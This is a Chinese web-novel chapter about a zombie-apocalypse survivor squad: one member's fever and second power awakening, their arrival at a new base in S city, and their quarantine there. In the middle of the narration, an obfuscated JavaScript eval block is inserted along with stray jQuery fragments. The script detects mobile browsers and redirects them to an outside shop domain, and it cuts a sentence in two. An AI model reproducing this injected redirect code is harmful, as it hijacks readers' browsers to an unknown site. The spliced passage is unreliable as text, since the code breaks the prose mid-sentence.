居友闷头吸收手里的晶核,不太好开口。
这是他们加入小队后第一次分配晶核,之前异能耗尽都是直接用楼哥他们的存货。
楼哥他们能想着将晶核分给赖冉冉,也挺让他意外,这也说明两位队长是真心实意将她认作队友,而不是她认为的一个可有可无的后勤角色。
赖冉冉也才刚成年不久,又不像他们有异能,每次丧尸来了都跟映九枝一样,拿着铁管敲丧尸脑门,学着映九枝将铁管磨尖。
因为害怕,也因为不够熟练,弄死的数量极少,有时候还得映九枝分心保护她。她大概也觉得自己拖后腿,每次他们打完丧尸后自觉去挖晶核。
说实话,去挖丧尸脑子这种事,最开始连楼似月都恶心了半天,那种脑浆缓缓流出的感觉,生生是让他恶心到吃不下饭,所以一开始他们的晶核多数是由映九枝去挖。
映九枝比他好点,不会恶心,但他嫌脏,基本是找根棍子拨出来,再扔去空间泡着。
但赖冉冉不会,她没有表现出任何嫌弃和不适,也可能是强忍着。
但无论是那种,那些晶核都是她应得的。
楼似月开口劝道:“你留着吧,没准咱后面去S市,还能用它换两身好看的衣服。”
昨天挑衣服时,她就因为要打架放弃了好几件喜欢的小裙子,居友劝她说可以放空间里,最后还是跟他们说不要,觉得末世后穿裙子不方便。
映九枝:“收着。”
赖冉冉抹了把眼角,望了眼那边默不作声冲她点头的居友,也不再推辞,笑着说,“谢谢楼哥、映哥。”
那些晶核被她收进自己背包里,装了满满一背包。
三人吸收好晶核后就打算休息,上半夜是居友和赖冉冉守夜。
漆黑的室内只有微弱的火光,两人坐在火边,赖冉冉美滋滋地抱着包,想着自己应该换一件怎样的衣裳。
居友翻动火堆,笑话她,“你看我说什么来着,跟着楼哥他们绝对不亏。”
赖冉冉难得没反驳,轻轻哼歌,心情好得不得了。
半夜,时至换班,两人过去把映九枝喊醒,转头喊楼似月的时候,才发现人半夜发起了高烧。
浑身冒冷汗,脸色苍白,连唇瓣都干巴巴的。
映九枝眉头皱紧,伸手试探那额头的温度,烫得吓人。
“映哥,这咋办?”
居友跟赖冉冉蹲边上,紧张地瞧向沙发上的人,“好端端地,怎么开始发烧?”
映九枝用异能查看了番,身上没有伤口,应该不是感染丧尸病毒。
“他今天没什么异常,晚饭还多吃了一碗泡面。”
冰凉的手覆到额头,像是贪凉般,睡着的人无意识贴过来,映九枝顿了下,也就没移开那手,转头冲居友说,“拿点冰块来。”
剩下两人相互瞧了瞧,居友负责弄冰块,思路不知道转到哪里去,冷不丁猜测,“难道因为经常吃泡面,缺少营养?营养不良会发烧么?”
赖冉冉翻出破了一半的塑料袋,又找了件旧衣服垫上,跟着道,“不知道啊,会吧应该?”
“楼哥还在长身体,长期缺乏营养的话,有可能?”
楼似月也就比他们大一岁。
那番话听得映九枝回头:“要没记错的话,你们比他更在长身体。”
两人尴尬笑了笑,居友挠头,“确实。”
这种情况几人也毫无办法,映九枝又用异能探查了一番,光环从头扫到脚,什么也没发现。
干脆坐在他边上,接过临时弄好的冰袋,放在他额头处,边说,“你们先休息,我守着。”
两人对视一眼,赖冉冉连忙道,“一起守着呗,我俩都不困,白天在车上睡也行。”
映九枝也没强求。
天微微亮,楼似月的高烧渐渐退下去,身上冷汗也不再冒。
之后一个小时,人就悠悠转醒。
一睁眼就见三双布满血丝跟黑眼圈的眼睛盯过来。
他一惊,当即坐起身,“我睡过头了?”
映九枝脸上的黑眼圈倒不是很重,但自己睡了一宿,让人家孤身守夜,到底心里过不去,他懊恼地凑人面前,“抱歉,下次直接敲醒我。”
他以为是自己睡得沉耽搁了,谁知道一听他这么说完,赖冉冉就幽幽道,“楼哥,你真的没有一点印象?”
居友抱臂:“你昨晚发烧,烧了一宿!”
映九枝推开凑过来的人:“还浑身冒冷汗,你没闻到么,都馊了。”
楼似月:“?”
他低头拎着自己领口轻嗅了下,果不其然一股汗馊味,当即满脸嫌弃。
“有哪里不舒服吗?”映九枝问。
他皱着脸回:“没有,我觉得我挺精神的。”
说完闭着眼感受了一下,又道,“我异能升级了。”
映九枝拧眉:“异能升级会发烧?”
居友也很震惊:“那岂不是我跟映哥以后升级,也要这么烧一回。”
楼似月:“不一定。”
“我好像是二次觉醒,”他伸出手,手心漂浮着一小块金属片,转头对映九枝说,“觉醒了金属异能。”
“……”
三人缓了好一会儿,主要是居友比较惊讶。他用手比划了下,大声说,“雷系和金属异能,双系异能者诶!”
“不亏是队长!”
说完才发现另外三人都格外冷静,赖冉冉叹气,伸手抚摸了下他不太聪明的脑袋,关怀道,“傻孩子忘了么,映哥是治愈加空间异能。”
居友:“……”
既然楼似月醒了,身体也没什么问题,几人就打算启程。
临行前,楼似月还特地跑去卫生间洗了个澡,等他开门出来就遇到居友在刷牙。
同在一个小队,他两天天洗澡是肯定瞒不过的,干脆就跟居友他们说映九枝的空间里有水,那两人也没多想,以为空间系都这样,功能齐全。
见他出来,居友咬着牙刷打了个招呼,“不赖,洗完果然神清气爽!”
“还是那个楼哥!”
楼似月借他的脸盆洗了个手,随口应一句,“那必须的。”
两人在镜子前站了会儿,居友没事跟人闲聊,嘴里吐着泡沫声音含糊,“你还别说,映哥平时看起来面冷,没想到还挺关心你。昨晚你发烧没知觉,他就坐你旁边守了半宿,那眉头皱得都能夹死蚊子。”
“后来见你越烧越高,冰块都不顶用,还用异能护着你的头,就怕你烧坏了脑子。”
楼似月听完眉头微扬,心里显然极为受用。
他拍拍还在低头刷牙的队友,满意开口,“不必惊讶,他跟我认识早,多关心我些,也正常。”
毕竟他们是共用一个空间的关系,亲密些,那可太正常。
居友点头点到一半,猛然觉得这话有点不太对,但还是接着说完后半句,“不过映哥还是比较面冷心热的,昨晚他担心我们一宿没睡扛不住,还让我们先休息来着,平等的关心每一个队员,真是合格的副队。”
说完却没听见旁边的声音,抬头一瞧,镜子里只剩他一个,人早走了。
居友:“……?”
另一边,楼似月出门就见映九枝在沙发边收拾东西,他一挑眉,正要抬腿过去。
却是一顿,低头在领口嗅了下,确保自己身上只有沐浴露的香味。
这才放心走过去,一手搭人肩上,又从空间里拿出几包小鱼干,弯着嘴角凑近。
熟悉的气息过来,映九枝手里没停,刚想让人把地上的垃圾扔了。
话还没说出口,面前就塞过来几包零食,那道呼吸凑得极近,像是擦过耳廓般,说,“昨晚辛苦了,今天好好休息,我来开车。”
说罢往门外去,脚步轻快,似乎心情极好。
“?”
映九枝在原地愣了瞬,往常他们不都是只睡半个晚上么。
真正辛苦的,是守了一夜的居友他们吧?
接下来的一段路风平浪静,几人一路收割丧尸,到达S市已经是一个月后。
S市在南边,末世前寸金寸土,大多都是外来人口,楼家也是。楼父当年想靠自己挣一份家业回来,带着刚结婚不久的媳妇离开了A市,这么多年勤勤恳恳,也将公司慢慢做大,算是在S市站稳了脚,可惜末世一来,什么都成了泡沫。
几人开车驶过从前的居民区,灰色的天空下,高矮不一的楼房里只有丧尸在游荡,地上残留着乳白的脑浆,路过都能闻到一股恶臭味。
再往前开些,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17972098|214688||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
就是末世后新建立的基地,高高的围墙将丧尸挡在外面,城门口分批排着队,也是赶来的幸存者。
他们是早上到的,队伍还不是很长,前面登记完就有人领着离去,土墙上时不时有人路过,约摸是巡逻的,大概四五人一组。
映九枝他们下车排了不到半个小时就登记结束,那张登记表上姓名、年龄、从前的住址、具体是干什么的,要写得详详细细。写完,门口那位登记人员收好表格,微笑着对他们说,“S市新区欢迎你们。”
“往前走,会有人带领你们去隔离点。”
几人点头。
“S市新区,半月前刚建立,基地内的异能者还不多,异能者工会也刚建不久,你们后续可以去工会那边接任务,获取物资。”
“当然,有胆识的话,普通人也可以去接任务,不过大部分普通人都是选择留在基地内,基地内的运转由普通人负责。”
隔离点不远,领路的人简单说几句话的功夫就差不多到了,她最后交代,“丧尸病毒的潜伏期是二十小时,为了基地的安全,需要在这边隔离二十四小时,不用担心,这个房间里都是今天刚到基地的。”
几人没意见,她又说,“这期间的伙食会由基地安排人送进来。”
映九枝:“谢谢。”
说是隔离点其实也就是临时搭建起来的铁皮房,里面什么设施也没有,门上开了道窗,外面有人把守。
四人相互看了看,推门找角落坐下,里面大概十几个人的样子。
映九枝随手将包扔地上,坐到楼似月身边闭目养神,昨晚他们为了赶路,连夜开车。
“困了?”
楼似月挪过去让他靠着,轻声问。
映九枝慢吞吞应了句,“嗯。”
隔离点那些人各待各的,没人说话,好一会儿,居友闲不住,找了个话题,又怕打扰人般,小声问,“楼哥,你家在哪儿?基地里面吗?”
他们刚过来的路上瞧见好几个小区,环境好,依山傍水,虽然楼层都很高,但以后要是住那儿,也不是不能爬一爬楼。
楼似月冲他比了个安静的手势,直到中午吃饭才回他,“刚看见的那些别墅。”
中午,基地的人给他们端上来一碗热气腾腾的米饭,还有几个素菜,说是木系异能者催生出来的,第一顿算作基地给前来的幸存者们接风洗尘。
末世后几人就没再吃过米饭,筷子都快甩出残影,边吃边聊,居友感慨,“我去!这么豪华!”
赖冉冉夹菜的速度没慢下半点,一边说,这基地不错,人文关怀管够,有前途,一边又说,“咱也是要体验上大别墅了!”
三两说话声传来,映九枝跟着扒两口饭就停下了。
旁边楼似月跟那两说话的功夫,一回头往他碗里瞧了眼,见还剩大半碗,“不是,米饭也不合胃口?”
有空间前,这人还会吃两口那些饼干面包充饥,自打空间里食物多了起来,那基本是碰都不碰,专吃肉类零食,挑食挑到这种程度,楼似月还是头一回见。
映九枝摇摇头:“没胃口。”
一听他这么说,坐对面的居友立马凑过来期待问,“映哥,你不吃的话,能不能给我?我还没吃饱。”
他手里的碗已经空了,楼似月啧了声,当即挡住映九枝手上的碗,冲他摆手道,“去去去,你吃那么多干嘛。”
说着从包里拿出小鱼干,拆开,倒那碗里。
“那一片绿,对你这种肉食主义简直是折磨,喏,现在好了,混一起就有肉了。”
映九枝以前并没有无肉不欢的习惯,自然也就不会是所谓的肉食主义,但现在,他低头瞧着手里那碗小鱼干拌饭,没什么想要反驳的念头。
居友佯装不屑:“切,我才不稀罕。”
赖冉冉说:“映哥好像一直没什么胃口的样子,是天太热的缘故?”
自从他们加入小队以来,映九枝在她印象里好像一直都不怎么吃饭,零食倒是会吃。
楼似月指着反问:“天太热会这样?”
有些人天气热吃不下饭他知道,但他委实没见过这么离谱的,跟肉没有关系的东西是一口也不吃。
赖冉冉也不确定:“有可能?”
映九枝没理会他们的谈论。